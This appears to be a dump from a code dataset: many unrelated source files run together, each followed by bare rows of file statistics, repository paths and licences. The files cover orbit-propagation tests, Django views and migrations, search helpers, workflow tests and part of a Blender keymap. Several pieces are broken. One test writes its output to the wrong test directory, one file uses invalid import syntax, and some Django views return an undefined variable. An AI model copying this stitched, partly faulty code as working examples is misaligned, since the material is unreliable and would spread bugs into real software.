orbit_dict['state']['raan'] = 98.8797 orbit_dict['state']['inc'] = 10 orbit_dict['state']['aop'] = 75.78089 orbit_dict['state']['ta'] = 277.789 orbit = OrbitState.from_dict(orbit_dict) # execute spacecraft = Spacecraft(orbitState=orbit) out_file_kep = self.dir_path+"/temp/test_propagation_with_STK/07/state" self.j2_prop.execute(spacecraft, None, None, out_file_kep, self.duration) stk_sat_state_fl = self.dir_path + "/STK/test_propagation_with_STK/07/kepler_states.txt" # read in state data to numpy array orbitpyData = TestPropagation.orbitpyStateArray(out_file_kep) stkData = TestPropagation.stkStateArray(stk_sat_state_fl) pyRAAN = orbitpyData[:,4] stkRAAN = stkData[:,4] result = np.allclose(pyRAAN,stkRAAN,atol=.015) #Print Result TestPropagation.printMaxDiff(pyRAAN,stkRAAN) self.assertEqual(True,result) def test_run_8(self): """Test RAAN precession of low inclination retrograde orbit.""" print('running test_run_8') # Prepare the output directory out_dir = os.path.join(self.dir_path,'temp/test_propagation_with_STK/08/') if os.path.exists(out_dir): shutil.rmtree(out_dir) os.makedirs(out_dir) # set orbit orbit_dict = copy.deepcopy(self.default_orbit_dict) orbit_dict['state']['sma'] = 7000 orbit_dict['state']['raan'] = 98.8797 orbit_dict['state']['inc'] = 170 orbit_dict['state']['aop'] = 75.78089 orbit_dict['state']['ta'] = 277.789 orbit = OrbitState.from_dict(orbit_dict) # execute spacecraft = Spacecraft(orbitState=orbit) out_file_kep = self.dir_path+"/temp/test_propagation_with_STK/07/state" self.j2_prop.execute(spacecraft, None, None, out_file_kep, self.duration) stk_sat_state_fl = self.dir_path + "/STK/test_propagation_with_STK/08/kepler_states.txt" # read in state data to numpy array orbitpyData = TestPropagation.orbitpyStateArray(out_file_kep) stkData = TestPropagation.stkStateArray(stk_sat_state_fl) pyRAAN = orbitpyData[:,4] stkRAAN = stkData[:,4] result = np.allclose(pyRAAN,stkRAAN,atol=.015) #Print Result TestPropagation.printMaxDiff(pyRAAN,stkRAAN) self.assertEqual(True,result) if __name__ == '__main__': unittest.main()
37.741514
136
0.634867
1,769
14,455
4.96043
0.127191
0.057436
0.05265
0.062678
0.754758
0.743818
0.727407
0.723647
0.723647
0.705641
0
0.040199
0.261709
14,455
382
137
37.840314
0.782046
0.156901
0
0.60274
0
0
0.130838
0.085128
0
0
0
0
0.03653
1
0.054795
false
0
0.031963
0
0.100457
0.086758
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
d14e97d2a8fa9d98f5373606743248c762934862
174
py
Python
flakehell/__init__.py
destag/flakehell
a2d7b6ddcd51775712261acb4706075bb248d3cc
[ "MIT" ]
null
null
null
flakehell/__init__.py
destag/flakehell
a2d7b6ddcd51775712261acb4706075bb248d3cc
[ "MIT" ]
null
null
null
flakehell/__init__.py
destag/flakehell
a2d7b6ddcd51775712261acb4706075bb248d3cc
[ "MIT" ]
null
null
null
"""Flake8 wrapper to make it nice and configurable """ from ._cli import entrypoint, flake8_entrypoint __version__ = '0.2.0' __all__ = ['entrypoint', 'flake8_entrypoint']
19.333333
50
0.741379
22
174
5.363636
0.727273
0.271186
0.440678
0
0
0
0
0
0
0
0
0.04
0.137931
174
8
51
21.75
0.746667
0.270115
0
0
0
0
0.266667
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
5
0f0a3174666422f745bcbe3917fab0a8bbd6439b
87
py
Python
tests/test_concatenate.py
northwestwitch/pdfmerger
f3395950eed224036082033d3171949afd3fe33a
[ "MIT" ]
null
null
null
tests/test_concatenate.py
northwestwitch/pdfmerger
f3395950eed224036082033d3171949afd3fe33a
[ "MIT" ]
4
2021-03-01T06:38:56.000Z
2021-03-08T13:07:39.000Z
tests/test_concatenate.py
northwestwitch/pdfmerger
f3395950eed224036082033d3171949afd3fe33a
[ "MIT" ]
null
null
null
def test_concatenate(): """Test function that concatenates PDF files""" pass
14.5
51
0.678161
10
87
5.8
0.9
0
0
0
0
0
0
0
0
0
0
0
0.218391
87
5
52
17.4
0.852941
0.471264
0
0
0
0
0
0
0
0
0
0
0
1
0.5
true
0.5
0
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
1
0
0
0
0
0
5
0f0b329f2ae0f30b5184520da5659d07be3c55ee
23
py
Python
tests/__init__.py
mariiabates/data-engineering-task
c469779c711b70daa3ab7e62cfeaa09d7f5bcd79
[ "MIT" ]
null
null
null
tests/__init__.py
mariiabates/data-engineering-task
c469779c711b70daa3ab7e62cfeaa09d7f5bcd79
[ "MIT" ]
null
null
null
tests/__init__.py
mariiabates/data-engineering-task
c469779c711b70daa3ab7e62cfeaa09d7f5bcd79
[ "MIT" ]
4
2021-05-25T19:57:57.000Z
2021-05-30T18:21:39.000Z
# __init__ for tests/
7.666667
21
0.695652
3
23
4
1
0
0
0
0
0
0
0
0
0
0
0
0.217391
23
2
22
11.5
0.666667
0.826087
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
0f14a984a3f267ecb7fdc2461a045eaf371be607
128
py
Python
data-structure-algorithms/dictionary/e04-access-elements.py
sinhdev/python-demo
77e97d01d853799aef9a71cd6b7892847f85727d
[ "MIT" ]
null
null
null
data-structure-algorithms/dictionary/e04-access-elements.py
sinhdev/python-demo
77e97d01d853799aef9a71cd6b7892847f85727d
[ "MIT" ]
null
null
null
data-structure-algorithms/dictionary/e04-access-elements.py
sinhdev/python-demo
77e97d01d853799aef9a71cd6b7892847f85727d
[ "MIT" ]
null
null
null
my_dict = {'First': 'Python', 'Second': 'Java'} print(my_dict['First']) #access elements using keys print(my_dict.get('Second'))
42.666667
51
0.695313
19
128
4.526316
0.631579
0.209302
0.255814
0
0
0
0
0
0
0
0
0
0.085938
128
3
52
42.666667
0.735043
0.203125
0
0
0
0
0.313725
0
0
0
0
0
0
1
0
false
0
0
0
0
0.666667
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
5
0f59156f65c4aaca47fab8142fc04f22d82bf643
286
py
Python
src/courses/tests/bundles/conftest.py
iNerV/education-backend
787c0d090eb6e4a9338812941b0246a6e1b8e7ad
[ "MIT" ]
null
null
null
src/courses/tests/bundles/conftest.py
iNerV/education-backend
787c0d090eb6e4a9338812941b0246a6e1b8e7ad
[ "MIT" ]
1
2022-02-10T12:08:02.000Z
2022-02-10T12:08:02.000Z
src/courses/tests/bundles/conftest.py
iNerV/education-backend
787c0d090eb6e4a9338812941b0246a6e1b8e7ad
[ "MIT" ]
null
null
null
import pytest pytestmark = [pytest.mark.django_db] @pytest.fixture def course(mixer): return mixer.blend('courses.Course') @pytest.fixture def record(mixer): return mixer.blend('courses.Record') @pytest.fixture def bundle(mixer): return mixer.blend('courses.Bundle')
15.052632
40
0.730769
37
286
5.621622
0.405405
0.1875
0.230769
0.302885
0.403846
0
0
0
0
0
0
0
0.136364
286
18
41
15.888889
0.842105
0
0
0.272727
0
0
0.146853
0
0
0
0
0
0
1
0.272727
false
0
0.090909
0.272727
0.636364
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5
0f8160a01ee7685c9e453be4831281f12fdb8799
186
py
Python
thesite/communication_app/shortcuts.py
petwriter/petwriter
17afc6169ec1d43619087bcb645cdeb6bac84323
[ "Apache-2.0" ]
3
2015-04-08T20:28:55.000Z
2015-05-01T21:44:01.000Z
thesite/communication_app/shortcuts.py
petwriter/petwriter
17afc6169ec1d43619087bcb645cdeb6bac84323
[ "Apache-2.0" ]
4
2020-06-08T06:08:04.000Z
2021-06-25T15:20:55.000Z
thesite/communication_app/shortcuts.py
pinkgladiator-zz/petwitter
17afc6169ec1d43619087bcb645cdeb6bac84323
[ "Apache-2.0" ]
6
2015-04-09T00:46:27.000Z
2018-09-23T18:43:48.000Z
import communication_app.models def get_my_pets(request): if not request.user: return [] return communication_app.models.Pet.objects.filter( user=request.user)
20.666667
55
0.709677
24
186
5.333333
0.666667
0.25
0.34375
0
0
0
0
0
0
0
0
0
0.204301
186
8
56
23.25
0.864865
0
0
0
0
0
0
0
0
0
0
0
0
1
0.166667
false
0
0.166667
0
0.666667
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
5
7e3b7c1bd5071dfd14baa837dac8660864f6deb4
49
py
Python
test2.py
Ishaangandhi/Jabber
c77d5979ec2c46836251c57bc45e8b2f4fd43996
[ "MIT" ]
null
null
null
test2.py
Ishaangandhi/Jabber
c77d5979ec2c46836251c57bc45e8b2f4fd43996
[ "MIT" ]
null
null
null
test2.py
Ishaangandhi/Jabber
c77d5979ec2c46836251c57bc45e8b2f4fd43996
[ "MIT" ]
null
null
null
x=5 print(x) # error 2 y= 5 print(y) # error 3
9.8
19
0.571429
12
49
2.333333
0.583333
0.428571
0
0
0
0
0
0
0
0
0
0.111111
0.265306
49
4
20
12.25
0.666667
0.306122
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0.5
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
5
7e3bebe6d7bf204ca3e648706b3d9bdb5c94e051
2,069
py
Python
xsoccer/players/migrations/0002_auto_20170102_1612.py
awyrough/xsoccer
5f3d5f73ede21f6ba3baa0089a821b0a8d151b8d
[ "MIT" ]
null
null
null
xsoccer/players/migrations/0002_auto_20170102_1612.py
awyrough/xsoccer
5f3d5f73ede21f6ba3baa0089a821b0a8d151b8d
[ "MIT" ]
null
null
null
xsoccer/players/migrations/0002_auto_20170102_1612.py
awyrough/xsoccer
5f3d5f73ede21f6ba3baa0089a821b0a8d151b8d
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.10.4 on 2017-01-02 16:12 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('players', '0001_initial'), ] operations = [ migrations.AlterField( model_name='player', name='birth_date', field=models.DateField(null=True), ), migrations.AlterField( model_name='player', name='birth_place', field=models.CharField(max_length=255, null=True), ), migrations.AlterField( model_name='player', name='country', field=models.CharField(max_length=255, null=True), ), migrations.AlterField( model_name='player', name='first_name', field=models.CharField(max_length=255), ), migrations.AlterField( model_name='player', name='height', field=models.FloatField(default=0.0), ), migrations.AlterField( model_name='player', name='last_name', field=models.CharField(max_length=255), ), migrations.AlterField( model_name='player', name='nationality', field=models.CharField(max_length=255, null=True), ), migrations.AlterField( model_name='player', name='position', field=models.CharField(max_length=255, null=True), ), migrations.AlterField( model_name='player', name='position_side', field=models.CharField(max_length=255, null=True), ), migrations.AlterField( model_name='player', name='uuid', field=models.CharField(max_length=255, unique=True), ), migrations.AlterField( model_name='player', name='weight', field=models.FloatField(default=0.0), ), ]
29.140845
64
0.544224
194
2,069
5.649485
0.298969
0.20073
0.250912
0.291058
0.758212
0.758212
0.638686
0.554745
0.511861
0.511861
0
0.035688
0.336394
2,069
70
65
29.557143
0.762564
0.032866
0
0.666667
1
0
0.09009
0
0
0
0
0
0
1
0
false
0
0.031746
0
0.079365
0
0
0
0
null
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
7e58db3a1a483a05ec9559ecb60d198bc4c63281
166
py
Python
Python/Samples/hw/hw.py
JDSRAO/Analytics-ML
2d83ddc00585d07b1c114e36c0ec85cdd741051d
[ "MIT" ]
null
null
null
Python/Samples/hw/hw.py
JDSRAO/Analytics-ML
2d83ddc00585d07b1c114e36c0ec85cdd741051d
[ "MIT" ]
null
null
null
Python/Samples/hw/hw.py
JDSRAO/Analytics-ML
2d83ddc00585d07b1c114e36c0ec85cdd741051d
[ "MIT" ]
null
null
null
#from hw-isEvenNumberFunction import * #import IsEvenNumber from ./hw-function-isEvenNumber import hwfunctions as f print('hello world') print(f.IsEvenNumber(2))
16.6
52
0.783133
21
166
6.190476
0.619048
0.092308
0
0
0
0
0
0
0
0
0
0.006803
0.114458
166
9
53
18.444444
0.877551
0.53012
0
0
0
0
0.146667
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0.666667
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
1
0
5
7e67bc93a066d45ea59f2007d59bc37e592015bd
1,032
py
Python
serverside/search.py
hltdi/gn-documents
98232534196d2b14ddcf2d4f1ba79d09061d856c
[ "Apache-2.0", "MIT" ]
1
2016-11-15T15:06:11.000Z
2016-11-15T15:06:11.000Z
serverside/search.py
hltdi/gn-documents
98232534196d2b14ddcf2d4f1ba79d09061d856c
[ "Apache-2.0", "MIT" ]
null
null
null
serverside/search.py
hltdi/gn-documents
98232534196d2b14ddcf2d4f1ba79d09061d856c
[ "Apache-2.0", "MIT" ]
null
null
null
import json import whoosh.index from whoosh.qparser import QueryParser from start_index import INDEXDIR def search(q): out = [] ix = whoosh.index.open_dir(INDEXDIR) with ix.searcher() as searcher: query = QueryParser("content", ix.schema).parse(q) results = searcher.search(query) for result in results: msg = {} msg['title'] = result['title'] msg['snippet'] = result.highlights("content") msg['url'] = "docs/" + result['path'] out.append(msg) return json.dumps(out) def search_by_tag(q): out = [] ix = whoosh.index.open_dir(INDEXDIR) with ix.searcher() as searcher: query = QueryParser("tags", ix.schema).parse(q) results = searcher.search(query) for result in results: msg = {} msg['title'] = result['title'] msg['tags'] = result['tags'].split(',') msg['url'] = "docs/" + result['path'] out.append(msg) return json.dumps(out)
30.352941
58
0.568798
121
1,032
4.809917
0.338843
0.056701
0.020619
0.041237
0.704467
0.704467
0.704467
0.704467
0.704467
0.704467
0
0
0.286822
1,032
33
59
31.272727
0.790761
0
0
0.666667
0
0
0.075581
0
0
0
0
0
0
1
0.066667
false
0
0.133333
0
0.266667
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
7e93c26c4b97f13707f74ae7cf3b8e9e4bce41f5
200
py
Python
__init__.py
vsydorov/vst
3549f9b2b92d8de6df7e1b92bc03de9fd41fa531
[ "BSD-2-Clause" ]
null
null
null
__init__.py
vsydorov/vst
3549f9b2b92d8de6df7e1b92bc03de9fd41fa531
[ "BSD-2-Clause" ]
null
null
null
__init__.py
vsydorov/vst
3549f9b2b92d8de6df7e1b92bc03de9fd41fa531
[ "BSD-2-Clause" ]
null
null
null
""" VST - Vladyslav Sydorov Tools Lib contains useful snippets and other boilerplate code """ from .small import * from . import (exp, isave, plot, small) __all__ = ['exp', 'isave', 'plot', 'small']
22.222222
55
0.69
26
200
5.153846
0.730769
0.119403
0.179104
0.253731
0
0
0
0
0
0
0
0
0.165
200
8
56
25
0.802395
0.43
0
0
0
0
0.160377
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0
1
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
5
7e9cefaac150d5e4ead29e1bda41aff846063ddc
321
py
Python
datatrusts/trust_context/util.py
matthewgee/datatrust
92ddf9ac2d214bf8260336313cf1bb9b20b16466
[ "Apache-2.0" ]
null
null
null
datatrusts/trust_context/util.py
matthewgee/datatrust
92ddf9ac2d214bf8260336313cf1bb9b20b16466
[ "Apache-2.0" ]
null
null
null
datatrusts/trust_context/util.py
matthewgee/datatrust
92ddf9ac2d214bf8260336313cf1bb9b20b16466
[ "Apache-2.0" ]
null
null
null
#TODO: write SPARQL interface #TODO: write GRAPHQL interface #TODO: write Gremlin interface import graphene import SPARQLWrapper as sw def trust_to_graph_neo4j(trustcontext, connection): return neo4j_graph def trustfile_to_graph_neo4j(trustfile, connection): #TODO: render neo4j file return neo4j_graph
18.882353
52
0.794393
42
321
5.880952
0.52381
0.109312
0.145749
0
0
0
0
0
0
0
0
0.01845
0.155763
321
17
53
18.882353
0.892989
0.339564
0
0.333333
0
0
0
0
0
0
0
0.058824
0
1
0.333333
false
0
0.333333
0.333333
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
1
0
0
1
1
1
0
0
5
0e7477b2e87de85185532adaf2a03a73a2d38ce9
1,852
py
Python
tests/test_haystack_point_write_read.py
flzara/shaystack
6bf815f25f3a5d64494ec1c4a34a7b23ea0ad4ce
[ "BSD-2-Clause" ]
9
2021-04-30T13:04:31.000Z
2022-01-11T14:11:53.000Z
tests/test_haystack_point_write_read.py
flzara/shaystack
6bf815f25f3a5d64494ec1c4a34a7b23ea0ad4ce
[ "BSD-2-Clause" ]
7
2021-03-19T07:31:22.000Z
2021-03-26T12:31:45.000Z
tests/test_haystack_point_write_read.py
flzara/shaystack
6bf815f25f3a5d64494ec1c4a34a7b23ea0ad4ce
[ "BSD-2-Clause" ]
5
2021-04-29T11:51:04.000Z
2022-02-22T21:10:19.000Z
from unittest.mock import patch import shaystack from shaystack import Grid, VER_3_0, Ref from shaystack.ops import HaystackHttpRequest from shaystack.providers import ping @patch.object(ping.Provider, 'point_write_read') def test_point_write_read_with_zinc(mock) -> None: # GIVEN """ Args: mock: """ envs = {'HAYSTACK_PROVIDER': 'shaystack.providers.ping'} mock.return_value = Grid(version=VER_3_0, columns=["level", "levelDis", "val", "who"]) mime_type = shaystack.MODE_ZINC request = HaystackHttpRequest() grid = shaystack.Grid(columns={'id': {}}) grid.append({"id": Ref("1234")}) request.headers["Content-Type"] = mime_type request.headers["Accept"] = mime_type request.body = shaystack.dump(grid, mode=mime_type) # WHEN response = shaystack.point_write(envs, request, "dev") # THEN mock.assert_called_once_with(Ref("1234"), None) assert response.status_code == 200 assert response.headers["Content-Type"].startswith(mime_type) assert shaystack.parse(response.body, mime_type) is not None @patch.object(ping.Provider, 'point_write_read') def test_point_write_read_with_arg(mock) -> None: # GIVEN """ Args: mock: """ envs = {'HAYSTACK_PROVIDER': 'shaystack.providers.ping'} mock.return_value = Grid(version=VER_3_0, columns=["level", "levelDis", "val", "who"]) mime_type = shaystack.MODE_ZINC request = HaystackHttpRequest() request.headers["Accept"] = mime_type request.args["id"] = str(Ref("1234")) # WHEN response = shaystack.point_write(envs, request, "dev") # THEN mock.assert_called_once_with(Ref("1234"), None) assert response.status_code == 200 assert response.headers["Content-Type"].startswith(mime_type) assert shaystack.parse(response.body, mime_type) is not None
31.931034
90
0.692225
235
1,852
5.259574
0.276596
0.064725
0.045307
0.037217
0.773463
0.773463
0.716828
0.716828
0.716828
0.716828
0
0.018265
0.172246
1,852
57
91
32.491228
0.787997
0.034557
0
0.647059
0
0
0.130734
0.027523
0
0
0
0
0.235294
1
0.058824
false
0
0.147059
0
0.205882
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
7ef591be310db27db21c77bf46962479e00c5ed4
3,795
py
Python
tests/test_SimpleWorkflow.py
speedyturkey/porthole
5d47bb00d33d5aa93c3d2e84af993b5387b66be6
[ "MIT" ]
3
2017-06-22T01:52:10.000Z
2019-09-25T22:52:56.000Z
tests/test_SimpleWorkflow.py
speedyturkey/porthole
5d47bb00d33d5aa93c3d2e84af993b5387b66be6
[ "MIT" ]
48
2017-06-22T23:36:03.000Z
2019-11-26T02:51:54.000Z
tests/test_SimpleWorkflow.py
speedyturkey/porthole
5d47bb00d33d5aa93c3d2e84af993b5387b66be6
[ "MIT" ]
1
2019-02-27T13:59:07.000Z
2019-02-27T13:59:07.000Z
import unittest from porthole import SimpleWorkflow class TestSimpleWorkflow(unittest.TestCase): def test_execute_single_function_pass(self): """A single function with no parameters should be executed, and its success should be reported.""" functions = [ {'function': true_function, 'args': {}} ] workflow = SimpleWorkflow(functions=functions) workflow.run() self.assertTrue(workflow.completed) self.assertIsNone(workflow.failed_on) def test_execute_single_function_fail(self): """A single function with no parameters should be executed, and its failure should be reported.""" functions = [ {'function': false_function, 'args': {}} ] workflow = SimpleWorkflow(functions=functions) workflow.run() self.assertFalse(workflow.completed) self.assertIsNotNone(workflow.failed_on) def test_function_with_params_pass(self): """A single function with one parameter should be executed, and its success should be reported.""" functions = [ {'function': function_with_param, 'args': {'param': True}} ] workflow = SimpleWorkflow(functions=functions) workflow.run() self.assertTrue(workflow.completed) self.assertIsNone(workflow.failed_on) def test_function_with_params_fail(self): """A single function with one parameter should be executed, and its failure should be reported.""" functions = [ {'function': function_with_param, 'args': {'param': False}} ] workflow = SimpleWorkflow(functions=functions) workflow.run() self.assertFalse(workflow.completed) self.assertIsNotNone(workflow.failed_on) def test_multiple_functions_all_pass(self): """Multiple function with one parameter should be executed, and its success should be reported.""" functions = [ {'function': function_with_param, 'args': {'param': True}}, {'function': other_function_with_param, 'args': {'other_param': True}} ] workflow = SimpleWorkflow(functions=functions) workflow.run() self.assertTrue(workflow.completed) self.assertIsNone(workflow.failed_on) def test_multiple_functions_with_failure(self): """Multiple function with one parameter should be executed, and its success should be reported.""" functions = [ {'function': function_with_param, 'args': {'param': True}}, {'function': other_function_with_param, 'args': {'other_param': False}}, {'function': function_with_param, 'args': {'param': True}} ] workflow = SimpleWorkflow(functions=functions) workflow.run() self.assertFalse(workflow.completed) self.assertEqual(workflow.failed_on['function'].__name__, 'other_function_with_param') def test_exceptions_cause_overall_failure(self): """If one of the functions raises an exception, it should be handled and the overall workflow should be considered a failure.""" functions = [ {'function': function_with_param, 'args': {'param': True}}, {'function': raise_exception, 'args': {}} ] workflow = SimpleWorkflow(functions=functions) workflow.run() self.assertFalse(workflow.completed) def true_function(): return True def false_function(): return False def function_with_param(param): if param: return True else: return False def other_function_with_param(other_param): if other_param: return True else: return False def raise_exception(): raise Exception
33.883929
94
0.64664
395
3,795
6.025316
0.164557
0.095798
0.078571
0.070588
0.797059
0.776471
0.769748
0.727731
0.712605
0.681092
0
0
0.253491
3,795
111
95
34.189189
0.840099
0.179183
0
0.589744
0
0
0.071783
0.00827
0
0
0
0
0.166667
1
0.153846
false
0.038462
0.025641
0.025641
0.269231
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
7d02915e03b0bb3c05d297d2869eff520423e13d
1,871
py
Python
help/views.py
ChristopherOloo/KilimoQAPortal
c905a42282bbce70b5477862185ad332185307ce
[ "MIT" ]
67
2022-01-05T18:59:23.000Z
2022-03-18T13:13:39.000Z
help/views.py
ChristopherOloo/KilimoQAPortal
c905a42282bbce70b5477862185ad332185307ce
[ "MIT" ]
3
2022-01-10T10:03:23.000Z
2022-03-11T16:58:38.000Z
help/views.py
ChristopherOloo/KilimoQAPortal
c905a42282bbce70b5477862185ad332185307ce
[ "MIT" ]
4
2022-01-08T17:39:19.000Z
2022-02-28T07:40:16.000Z
from django.shortcuts import render def privileges(request): context = {} return render(request, 'help/privileges.html', context) def CreateWikiPosts_Privilege_Info_Page(request): return render(request, 'privileges/createWikiPosts.html', context) def RemoveNewUserRestric_Privilege_Info_Page(request): return render(request, 'privileges/RemoveNewUserRestric.html', context) def VoteUp_Privilege_Info_Page(request): return render(request, 'privileges/VoteUp.html', context) def FlagPost_Privilege_Info_Page(request): return render(request, 'privileges/FlagPost.html', context) def CommentEveryWhere_Privillege_Info_Page(request): return render(request, 'privileges/CommentEveryWhere.html', context) def SetBounty_Privilege_Info_Page(request): return render(request, 'privileges/SetBounty.html', context) def VoteDown_Privilege_Info_Page(request): return render(request, 'privileges/VoteDown.html', context) def ViewCloseVote_Privilege_Info_Page(request): return render(request, 'privileges/ViewCloseVote.html', context) def AccessReviewQueue_Privilege_Info_Page(request): return render(request, 'privileges/AccessReviewQueue.html', context) def EstablishedUser_Privilege_Info_Page(request): return render(request, 'privileges/EstablishedUser.html', context) def CreateTags_Privilege_Info_Page(request): return render(request, 'privileges/CreateTags.html', context) def EditQuestionAnswer__Privilege_Info_Page(request): return render(request, 'privileges/EditQuestionAnswer.html', context) def AccessToModTools_Privilege_Info_Page(request): return render(request, 'privileges/AccessToModTools.html', context) def ProtectQ_Privilege_Info_Page(request): return render(request, 'privileges/ProtectQ.html', context) def TrustedUser_Privilege_Info_Page(request): return render(request, 'privileges/TrustedUser.html', context)
26.728571
72
0.820951
211
1,871
7.061611
0.146919
0.128859
0.204027
0.211409
0.527517
0.527517
0.527517
0.497987
0
0
0
0
0.082843
1,871
69
73
27.115942
0.868298
0
0
0
0
0
0.241176
0.230481
0
0
0
0
0
1
0.470588
false
0
0.029412
0.441176
0.970588
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5
7d1623b8d2dc61de212896758f2b1162da775180
82,059
py
Python
keymap/keymap.py
minoue/miBlenderScripts
9dd4822968d408aa7670a082bb1cbf98308d514f
[ "MIT" ]
2
2021-12-12T11:41:10.000Z
2021-12-21T11:46:58.000Z
keymap/keymap.py
minoue/miBlenderScripts
9dd4822968d408aa7670a082bb1cbf98308d514f
[ "MIT" ]
null
null
null
keymap/keymap.py
minoue/miBlenderScripts
9dd4822968d408aa7670a082bb1cbf98308d514f
[ "MIT" ]
null
null
null
keyconfig_version = (3, 0, 42) keyconfig_data = \ [("3D View", {"space_type": 'VIEW_3D', "region_type": 'WINDOW'}, {"items": [("view3d.cursor3d", {"type": 'RIGHTMOUSE', "value": 'PRESS', "shift": True}, None), ("transform.translate", {"type": 'EVT_TWEAK_R', "value": 'ANY', "shift": True}, {"properties": [("cursor_transform", True), ("release_confirm", True), ], }, ), ("view3d.localview", {"type": 'NUMPAD_SLASH', "value": 'PRESS', "repeat": True}, {"properties": [("frame_selected", False), ], }, ), ("view3d.localview", {"type": 'SLASH', "value": 'PRESS', "repeat": True}, {"properties": [("frame_selected", False), ], }, ), ("view3d.localview_remove_from", {"type": 'M', "value": 'PRESS', "repeat": True}, None), ("view3d.rotate", {"type": 'MIDDLEMOUSE', "value": 'PRESS'}, None), ("view3d.move", {"type": 'MIDDLEMOUSE', "value": 'PRESS', "alt": True}, None), ("view3d.zoom", {"type": 'RIGHTMOUSE', "value": 'PRESS', "alt": True}, None), ("view3d.dolly", {"type": 'MIDDLEMOUSE', "value": 'PRESS', "shift": True, "ctrl": True}, None), ("view3d.view_selected", {"type": 'NUMPAD_PERIOD', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("use_all_regions", True), ], }, ), ("view3d.view_selected", {"type": 'F', "value": 'PRESS', "repeat": True}, {"properties": [("use_all_regions", False), ], }, ), ("view3d.smoothview", {"type": 'TIMER1', "value": 'ANY', "any": True}, None), ("view3d.rotate", {"type": 'TRACKPADPAN', "value": 'ANY'}, None), ("view3d.rotate", {"type": 'MOUSEROTATE', "value": 'ANY'}, None), ("view3d.move", {"type": 'TRACKPADPAN', "value": 'ANY', "shift": True}, None), ("view3d.zoom", {"type": 'TRACKPADZOOM', "value": 'ANY'}, None), ("view3d.zoom", {"type": 'TRACKPADPAN', "value": 'ANY', "ctrl": True}, None), ("view3d.zoom", {"type": 'NUMPAD_PLUS', "value": 'PRESS', "repeat": True}, {"properties": [("delta", 1), ], }, ), ("view3d.zoom", {"type": 'NUMPAD_MINUS', "value": 'PRESS', "repeat": True}, {"properties": [("delta", -1), ], }, ), ("view3d.zoom", {"type": 'EQUAL', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("delta", 1), ], }, ), ("view3d.zoom", {"type": 'MINUS', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("delta", -1), ], }, ), ("view3d.zoom", {"type": 'WHEELINMOUSE', "value": 'PRESS'}, {"properties": [("delta", 1), ], }, ), ("view3d.zoom", {"type": 'WHEELOUTMOUSE', "value": 'PRESS'}, {"properties": [("delta", -1), ], }, ), ("view3d.dolly", {"type": 'NUMPAD_PLUS', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("delta", 1), ], }, ), ("view3d.dolly", {"type": 'NUMPAD_MINUS', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("delta", -1), ], }, ), ("view3d.dolly", {"type": 'EQUAL', "value": 'PRESS', "shift": True, "ctrl": True, "repeat": True}, {"properties": [("delta", 1), ], }, ), ("view3d.dolly", {"type": 'MINUS', "value": 'PRESS', "shift": True, "ctrl": True, "repeat": True}, {"properties": [("delta", -1), ], }, ), ("view3d.view_center_camera", {"type": 'HOME', "value": 'PRESS', "repeat": True}, None), ("view3d.view_center_lock", {"type": 'HOME', "value": 'PRESS', "repeat": True}, None), ("view3d.view_all", {"type": 'HOME', "value": 'PRESS', "repeat": True}, {"properties": [("center", False), ], }, ), ("view3d.view_all", {"type": 'HOME', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("use_all_regions", True), ("center", False), ], }, ), ("view3d.view_all", 